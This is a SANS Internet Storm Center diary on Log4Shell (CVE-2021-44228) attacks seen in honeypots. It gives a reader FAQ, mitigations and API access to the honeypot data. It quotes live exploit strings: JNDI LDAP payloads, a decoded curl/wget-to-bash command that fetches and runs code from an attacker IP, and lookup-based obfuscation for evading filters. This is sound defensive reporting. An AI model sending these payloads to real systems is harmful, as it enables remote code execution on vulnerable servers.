SANS ISC: Log4j / Log4Shell Followup: What we see and how to defend (and how to access our data) - SANS Internet Storm Center

• SANS Site Network
  • Current Site
  • SANS Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • DFIR
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

    On Thursday, December 9th, LunaSec published a blog post with details regarding a vulnerability in the log4j2 library. This vulnerability became quickly known as "log4shell", and CVE-2021-44228 was assigned to it [1]. On Friday, Bojan published a post with some technical details regarding the exploitation of this vulnerability [2]. We have also posted some of the attacks we saw via our Twitter account (@sans_isc).

Let's start with a couple of "FAQs" we got from readers:

• This is not a problem with Apache. The Apache Software Foundation maintains log4j2. They do a lot of great stuff, not just the webserver. Log4j is not part of the Apache webserver.
• Not all software using Java is vulnerable. Only software that includes the log4j2 library is vulnerable.
• Any string that is logged via log4j2 could potentially be used to exploit this vulnerability.
• Only log4j2 is vulnerable. The older log4j (no "2") is not vulnerable. But people often say "log4j" to include either version.
• There is no generic "log4j2" patch to patch everything. In some cases, vendors including log4j, need to patch their software to include the new version. (you still should apply any patches patching the log4j2 library on your system)
• Exploitability depends on the Java version and how log4j2 is used. Not all software using log4j2 is vulnerable. For example, Java security managers may be used by software to define policies for an application that will block exploitation.

    Our network of web honeypots has been busy collecting data about the attacks against log4j. The first two attacks we saw arrived on Thursday at 12:32 UTC from 45.155.205.233. This attack transmitted the exploit string using the user-agent, a patter that was common to many early exploit attempts:

[see the end of this post for instructions on how to access our honeypot data]

    "date": "2021-12-09",
    "time": "12:32:31",
    "url": "/",
    "user_agent": "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTIuMTM1LjE2OC4yMjY6ODA4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTIuMTM1LjE2OC4yMjY6ODA4MCl8YmFzaA==}",
    "source": "45.155.205.233"

         This IP address has been sending different requests to our honeypots starting December 4th. None of the earlier requests are remarkable. They all probe known vulnerabilities unrelated to log4shell. For example, we saw some attempts to exploit the recent Apache path traversal issue, but also attacks against much older "Think App", PHPUnit and Exchange vulnerabilities. All prior attacks used the exact same user-agent header, until December 9th, when it started to use the log4shell exploit. Shodan shows the server returning an exploit string on port 9,000. The payload from port 9,000 includes instructions to download and run an "ex. sh" script. This file has sometimes been associated with crypto miners, but it does no longer appear to be available.

     On Friday, December 10th, others joined in on scanning the internet for systems vulnerable to log4shell. 45.155.205.233 stayed by far the most active according to our reports. We also have some Tor endpoints that originated multiple attacks. The IP addresses scanning for the vulnerability were associated with common botnets and all had a history of prior attacks against various vulnerabilities. Security company Binary Edge also started to scan for the vulnerability.

     The most commonly seen exploit pattern was ${jndi:ldap://aa895bba3900.bingsearchlib.com:39356/a}. The prefix changed with each request and was always twelve hexadecimal digits (six bytes). bingsearchlib.com is not associated with Bing or Microsoft as far as I can tell. The exploit instructs the victim to connect to this URL to download additional commands. Many of these exploits involving "bingsearch" originated via Tor.

     Other exploit strings included the base64 encoded command like what you see above. The exploit string typically encodes to something like:

(curl -s 45.155.205.233:5874/[target IP redacted]:8080||wget -q -O- 45.155.205.233:5874/[target IP redacted]:8080)|bash

      Including the target IP in the URL may be used to just detect vulnerable systems, or to only deliver the payload if the request originates from the correct IP address.

      Then we had a few oddball requests:

${jndi:ldaps://588abb5f.probe001.log4j.leakix.net:8443/b}

    This one appears to be associated with researchers at leakix.net.

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ${jndi:ldap://166.25.77.83.dynamic.wline.res.cust.swisscom.ch.0.sinkman.oob.abrahackbugs.xyz:443/abc} (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36 AutoMate 1.0

     A modified "real" user-agent, maybe an attempt to evade some filter or an attempt to exploit systems that only log part of the user-agent.

     We then also saw similar strings show up on the URL. For example:

/$%7Bjndi:ldap://45.130.229.168:1389/Exploit%7D
/$%7Bjndi:ldap://x-ios-validation.com.lc1wnt7yguuuk0qurdw600boffl59u.burpcollaborator.net%7D

    A few requests also used ldaps instead of ldap as a possible simple way to evade filters.

    More promising evasion attempts only showed up later. For example, Binary Edge started using:

${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}

    which obfuscates individual letters. (${lower:l} = l)

    What does this mean for defenses:

- Attacks are ongoing, and your system was likely already scanned using one of the exploits above.
- These exploits do not work in all cases. Exploits more customized for specific targets are being developed.
- This is not just exploitable via HTTP(s). Anything that is logged by log4j could be used to attack a vulnerable system.
- Right now, LDAP(s) is the protocol of choice. But here are other possibilities (see Bojan's diary).
- Try to disable or restrict the lookup feature in log4j. There are a number of options:

add the following command-line options:
-Dlog4j2.formatMsgNoLookups=true (e.g. in jvm.options)

or/and
- convert '%m', '%msg' and '%message' to %m{nolookups} in log4j2.xml (see https://twitter.com/daenney/status/1469320785856770068 )

or/and
- add an environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true on all systems.

consult this "Blue Team Cheatsheet" by SwitHak for vendor bulletins [3]

Accessing Our Honeypot Data

Our API (https://isc.sans.edu/api) offers two functions that make it easy to retrieve data related to the exploit. The first one retrieves data collected based on the URL. You may retrieve all data collected on a particular day that includes a specific string. For example:

https://isc.sans.edu/api/webhoneypotreportsbyurl/jndi:/2021-12-09?json

retrieves all data from December 9th where the requested url includes the string "jndi:". You may omit the date to get today's data. 

Similarly, 

https://isc.sans.edu/api/webhoneypotreportsbyua/jndi:/2021-12-09?json

can be used to retrieve reports base on the user-agent.

By default, the data is returned in XML, which doesn't work well in this case. Adding ?json will return the data in JSON format. 

PLEASE DO NOT USE THE DATA AS A SIMPLE BLOCKLIST. THE DATA IS PROVIDED "AS IS" AND HAS NOT BEEN FILTERED/VERIFIED.

[1] https://www.lunasec.io/docs/blog/log4j-zero-day/
[2] https://isc.sans.edu/forums/diary/RCE+in+log4j+Log4Shell+or+how+things+can+get+bad+quickly/28120/
[3] https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|